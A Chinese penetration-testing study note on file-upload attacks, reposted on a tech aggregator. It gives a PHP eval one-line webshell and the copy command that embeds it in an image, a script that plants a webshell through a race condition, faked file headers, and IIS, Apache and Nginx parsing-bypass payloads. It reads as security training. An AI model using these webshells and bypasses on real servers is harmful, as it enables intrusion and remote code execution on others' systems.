IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 小迪渗透笔记:文件上传(2) -> 正文阅读

[PHP知识库]小迪渗透笔记:文件上传(2)

1、后端绕过

代码问题漏洞

(1)图片马的制作

copy 1.png /b + shell.php /a webshell.jpg

直接在图片中插入(十六进制)webshell:<?php @eval($_POST['x']);?>

(2)文件头检测

一般用十六进制器修改(burpsuit抓包修改头文件)

JPEG (jpg),文件头:FFD8FFE1
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
(3)图像文件信息判断

注意检测函数,配合文件包含漏洞执行

  • getimagesize():图片信息获取

获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条错误信息

<?php
list($width, $height, $type, $attr) = getimagesize("runoob-logo.png");
echo "宽度为:" . $width;
echo "高度为:" . $height;
echo "类型为:" . $type;
echo "属性:" . $attr;
?>

也就是说出现这个函数本身就是一种过滤,若文件不是图片则会返回false

  • exif_imagetype():图像类型判断,只接受图片
<?php
if (exif_imagetype("image.gif") != IMAGETYPE_GIF) {
    echo "The picture is not a gif";
}
?>
  • imagecreatefromgif():由文件或 URL 创建一个新图像

返回一图像标识符,代表了从给定的文件名取得的图像。

(4)逻辑安全
  • 二次渲染

From:https://blog.csdn.net/weixin_45588247/article/details/119177948

网站接受目标后会再次进行操作(会对文件进行二次操作)

原理:

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。

利用:

对比要上传图片与上传后的图片大小,编辑器打开图片查看上传后保留了拿些数据,将webshell插入其中或配合条件竞争

  • 条件竞争

From:https://blog.csdn.net/mmzkyl/article/details/112318210

https://cloud.tencent.com/developer/article/1650655

形成原因:

由于服务器端在处理不同用户的请求时是并发进行处理的,如果对这些并发操作处理不当的话会由于一些时序问题导致一些异常情况的发生

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

代码逻辑:

? 先通过move_uploaded_file(tempfile,upload_file)将文件上传至服务器中。

? 上传完毕后通过in_array(fileext,ext_arr)检查文件名后缀

? 如果后缀名合法,则对文件进行重命名,上传完成

? 如果后缀名非法,则删除文件。

若将将一句话木马写入文件直接上传,然后通过蚁剑连接的想法还是将其打消了吧,可能蚁剑还没连上或者刚连上,一句话木马文件就被删除了

利用方法:

<?php
	$file=fopen("xxx.php","w");
	$string='<?php @eval($_POST["x"]); ?>';
	fwrite($file,$string);
	fcolse();
?>

可以通过条件竞争的方式在unlink之前,访问webshell。用burp中不断发送上传webshell的数据包然后不断在浏览器中访问,可以通过竞争访问到文件。

(5)目录命名+数组接收

伪造成文件夹上传,但成功后会以文件的形式保存

UPLOAD_PATH . '/' . $file_name;
upload/upload-19.php/.jpg
upload/upload-19.php/.  :成功上传后:upload-19.php

xiaodi.jpg
x[0]=xiaodi
x[1]=  .
x[2]=jpg
(6)CVE漏洞

CVE-2015-5254、CVE-2017-12615、CVE-2019-2618

2、解析漏洞

搭建平台漏洞

(1)IIS

IIS6.0
//文件夹
image/qq.jpg
image.asp/qq.jpg    qq.jpg会被当做asp解析
//文件
image.jpg
image.asp;.jpg或xxx.asp;xxx.jpg 
//文件会被当做asp执行
eg:/x.asp;.1.jpg 实际执行asp文件

(2)Apache

黑名单
低版本:
1.php.xxx也能别执行成php文件
原理:
Apache会从右往左识别知道识别到能执行的文件

换行解析:
2.4.0-2.4.29版本
1.php\x0A可被解析为php文件
在burpsuit中修改十六进制为0a

(3)Nginx

From:https://blog.csdn.net/m0_51803069/article/details/109330765

  • 配置错误:

原理:Nginx中PHP配置不当(php.ini)与nginx版本无关

php.ini中cgi.fix_pathinfo=1

Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。

新版本的php在php-fpm.conf文件引入了security.limit_extensions=.php限制了可执行文件的后缀,默认只允许执行.php文件

  • 漏洞利用

先上传一个xxx.jpg的图片马,访问此路径/xxx.jpg/test.php

  • CVE-2013-4547(文件名逻辑漏洞)

原理:

利用了Nginx错误的解析了URL地址,导致可以绕过服务端限制,从而解析PHP文件

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

php-fpm.conf中的security.limit_extensions为空,也就是说任意后缀名都可以解析为PHP

  • 漏洞利用

构造/test.aaa \0.php让nginx把test.aaa解析为php文件执行

test.aaa[0x20](空格)[0x00](\0).php

3、编辑器漏洞

(1)常用编辑器

Fckeditor、Ueditor、kindeditor、CKEditor

(2)扩展

POC(Proof ofConcept),中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。

EXP(Exploit),中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码,可以使得读者完全了解漏洞的机理以及利用的方法。

VUL(Vulnerability),泛指漏洞。

CVE漏洞编(公共漏洞和暴露)为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。

CVE网站:
http://www.scap.org.cn/
https://cve.mitre.org/

4、文件上传思路

(1)上传文件和执行文件是两个东西

(2)漏洞分类:

解析漏洞、cms漏洞、其他漏洞(编辑器漏洞、cve漏洞、安全修复)

(3)思路:

  • 拿到网站可以先看文件上传功能是否利用
  • 查看中间件,是否存在解析漏洞/CMS/编辑器漏洞/CVE
  • 若存在上述漏洞:字典扫描:扫描会员中心,文件上传的位置
  • 若无则进行验证,解析(黑名单,白名单?)
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-04 11:48:41  更:2022-04-04 11:49:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 18:35:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码